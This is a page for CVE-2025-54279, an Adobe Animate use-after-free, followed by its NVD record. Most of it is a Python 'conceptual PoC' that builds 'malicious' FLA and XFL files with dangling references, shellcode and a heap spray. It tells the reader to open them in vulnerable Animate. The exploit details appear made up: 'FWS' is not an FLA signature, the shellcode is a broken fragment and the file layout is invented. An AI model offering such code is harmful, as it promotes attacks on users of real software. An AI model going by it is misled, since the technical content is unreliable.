CVE-2025-54279

# CVE-2025-54279 - Adobe Animate Use After Free Vulnerability PoC # This is a conceptual PoC demonstrating the exploitation approach # Actual exploitation requires a specially crafted Animate project file import struct import os class AnimateUAFExploit: """ Conceptual PoC for CVE-2025-54279 Adobe Animate Use After Free Vulnerability The vulnerability exists in the file parsing module of Adobe Animate. A malicious file can trigger a Use After Free condition leading to arbitrary code execution when the freed memory is accessed. """ # Magic bytes for various Animate file formats FLA_MAGIC = b'FWS' # FLA (Flash/Animate) file signature XFL_MAGIC = b'PK\x03\x04' # XFL is essentially a ZIP archive def __init__(self, output_path): self.output_path = output_path self.payload = b"" def create_malicious_object(self, obj_id, obj_size, ref_count): """ Create a malicious object structure that triggers UAF. The object is designed to be freed while still referenced. """ # Object header with crafted reference count header = struct.pack('<I', obj_id) # Object ID header += struct.pack('<I', obj_size) # Object size header += struct.pack('<I', ref_count) # Reference count (manipulated) # Payload data - will be executed after UAF trigger shellcode = self._generate_shellcode() return header + shellcode def _generate_shellcode(self): """ Generate shellcode for arbitrary code execution. In a real exploit, this would be platform-specific shellcode. """ # Placeholder shellcode - in real scenarios, this would be # a carefully crafted payload for the target platform # Example: Windows x64 calc.exe shellcode (simplified) shellcode = b"\x48\x31\xc9" # xor rcx, rcx shellcode += b"\x48\x81\xe9" # sub rcx, ... shellcode += b"\x90" * 100 # NOP sled placeholder return shellcode def build_malicious_fla(self): """ Build a malicious FLA file that triggers the UAF vulnerability. """ # FLA file structure file_data = self.FLA_MAGIC # File signature file_data += struct.pack('<I', 16) # Version file_data += struct.pack('<I', 100) # File length (placeholder) # Add crafted objects that will trigger UAF # Object 1: Will be allocated and then freed obj1 = self.create_malicious_object(0x41414141, 256, 1) file_data += obj1 # Object 2: Reference to freed object 1 (triggers UAF) ref_to_obj1 = struct.pack('<I', 0x41414141) # Dangling reference file_data += ref_to_obj1 # Add heap spray data to control freed memory content heap_spray = b"\x41" * 4096 * 100 # Spray heap with controlled data file_data += heap_spray return file_data def build_malicious_xfl(self): """ Build a malicious XFL file (ZIP-based format). """ import zipfile import io zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf: # Add malicious DOMDocument.xml that triggers UAF malicious_xml = '''<?xml version="1.0" encoding="UTF-8"?> <DOMDocument xmlns="http://ns.adobe.com/xfl/2008/" version="1.0"> <timelines> <DOMTimeline name="malicious_timeline"> <layers> <DOMLayer name="layer_1"> <frames> <DOMFrame index="0"> <elements> <DOMSymbolInstance libraryItemName="exploit_symbol"/> </elements> </DOMFrame> </frames> </DOMLayer> </layers> </DOMTimeline> </timelines> </DOMDocument>''' zf.writestr('DOMDocument.xml', malicious_xml) # Add exploit payload as a library symbol zf.writestr('LIBRARY/exploit_symbol.xml', self._create_exploit_symbol()) return zip_buffer.getvalue() def _create_exploit_symbol(self): """Create a malicious symbol that triggers UAF when loaded.""" return '''<?xml version="1.0" encoding="UTF-8"?> <DOMSymbolItem xmlns="http://ns.adobe.com/xfl/2008/" name="exploit_symbol"> <timeline> <DOMTimeline name="sym_timeline"> <layers> <DOMLayer name="layer_1"> <frames> <DOMFrame index="0"> <elements> <DOMShape> <fills> <FillStyle index="0"> <SolidColor color="#000000"/> </FillStyle> </fills> <edges> <Edge fillStyle0="0" edges="0,0 100,0 100,100 0,100"/> </edges> </DOMShape> </elements> </DOMFrame> </frames> </DOMLayer> </layers> </DOMTimeline> </timeline> </DOMSymbolItem>''' def generate_poc(self): """Generate the final PoC file.""" # Generate malicious FLA file fla_data = self.build_malicious_fla() with open(self.output_path, 'wb') as f: f.write(fla_data) print(f"[+] PoC file generated: {self.output_path}") print(f"[!] WARNING: This file exploits CVE-2025-54279") print(f"[!] Opening this file in vulnerable Adobe Animate versions") print(f"[!] (23.0.13, 24.0.10 and earlier) will trigger UAF") print(f"[!] and may result in arbitrary code execution.") return self.output_path def main(): """ Main function to generate CVE-2025-54279 PoC. Usage: 1. Run this script to generate malicious.fla 2. Open malicious.fla in vulnerable Adobe Animate 3. The UAF vulnerability will be triggered Note: This is for educational and security research purposes only. """ output_file = "cve_2025_54279_poc.fla" exploit = AnimateUAFExploit(output_file) exploit.generate_poc() # Alternative: Generate XFL format PoC xfl_output = "cve_2025_54279_poc.xfl" with open(xfl_output, 'wb') as f: exploit_instance = AnimateUAFExploit(xfl_output) f.write(exploit_instance.build_malicious_xfl()) print(f"[+] XFL PoC also generated: {xfl_output}") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-54279", "sourceIdentifier": "[email protected]", "published": "2025-10-15T01:15:31.827", "lastModified": "2025-10-17T14:57:15.830", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Animate versions 23.0.13, 24.0.10 and earlier are affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:animate:*:*:*:*:*:*:*:*", "versionStartIncluding": "23.0.0", "versionEndExcluding": "23.0.15", "matchCriteriaId": "ADF27AA6-00D4-49BD-B753-C3B483684612"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:animate:*:*:*:*:*:*:*:*", "versionStartIncluding": "24.0.0", "versionEndExcluding": "24.0.12", "matchCriteriaId": "C68A2C2C-91FD-4FE9-8C06-15E7B9E49F44"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/animate/apsb25-97.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}